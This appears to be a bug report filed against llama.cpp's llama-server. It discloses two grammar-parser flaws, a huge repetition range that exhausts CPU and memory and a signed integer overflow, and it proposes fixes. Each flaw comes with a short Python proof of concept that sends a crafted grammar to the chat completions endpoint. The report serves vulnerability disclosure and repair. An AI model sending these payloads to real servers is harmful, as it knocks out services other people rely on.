Name and Version

./llama-cli --version
register_backend: registered backend CPU (1 devices)
register_device: registered device CPU (AMD EPYC 9654 96-Core Processor)
load_backend: failed to find ggml_backend_init in /data/ylwang/Projects/llama.cpp/build/bin/libggml-cpu.so
version: 7090 (0de8878)
built with cc (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0 for x86_64-linux-gnu

Operating systems

Linux

Which llama.cpp modules do you know to be affected?

llama-server

Command line

llama-server -m 0.gguf --host 0.0.0.0

Problem description & steps to reproduce

Bug 1: Unbounded Repetition Range Causes DoS

PoC

import requests

resp = requests.post(
    "http://localhost:8080/v1/chat/completions",
    json={
        "messages": [
            {"role": "user", "content": "\n" * 1}
        ],
        "max_tokens": 20,
        "grammar": "root ::= \"a\"{2000000000,2147483647}"
    }
)

print(resp.text)

Impact

This grammar triggers a repetition range of {2000000000, 2147483647}.
The grammar parser expands repetitions by iterating from the minimum to maximum count, resulting in over two billion iterations.

This leads to:

• 100% CPU utilization,
• unbounded memory growth due to repeated vector expansion,
• and a full Denial-of-Service (DoS) of the LLM server.

In realistic usage, repetition counts should never approach these magnitudes. Allowing users to specify arbitrary repetition bounds is unsafe and unnecessary.

Fix Recommendation

In ./llama.cpp/src/llama-grammar.cpp (line ~481):

int min_times = std::stoul(std::string(pos, int_end - pos));

A validation step should be added after parsing numeric values. For example, enforce a reasonable upper bound such as:

• min_times <= 100000
• max_times <= 100000

This prevents pathological repetition ranges from causing DoS.

Bug 2: Signed Integer Overflow Due to Incorrect Type Usage

PoC

import requests

resp = requests.post(
    "http://localhost:8080/v1/chat/completions",
    json={
        "messages": [
            {"role": "user", "content": "\n" * 1}
        ],
        "max_tokens": 20,
        "grammar": "root ::= \"a\"{2147483648,2}"
    }
)

print(resp.text)

Server Output

/data/ylwang/Projects/llama.cpp/src/llama-grammar.cpp:382:36: runtime error: signed integer overflow: 2 - -2147483648 cannot be represented in type 'int'

Root Cause

At line ~481 in llama-grammar.cpp, the parser stores the result of std::stoul()—which returns an unsigned long—into an int:

int min_times = std::stoul(std::string(pos, int_end - pos));

When the user supplies:

{2147483648, 2}

std::stoul() correctly returns 2147483648, but storing this into a 32-bit signed int causes wrap-around to:

min_times = -2147483648

Later, at line ~382:

auto n_opt = max_times < 0 ? 1 : max_times - min_times;

the expression 2 - (-2147483648) causes a signed integer overflow, triggering UBSan warnings and entering undefined behavior.

Fix Recommendation

Same as Bug 1: numerical fields must be range-checked.
Alternatively, store min_times/max_times in a type that can safely hold the parsed values (e.g., uint64_t) and verify that they fit within an acceptable application-level bound.

First Bad Commit

No response

Relevant log output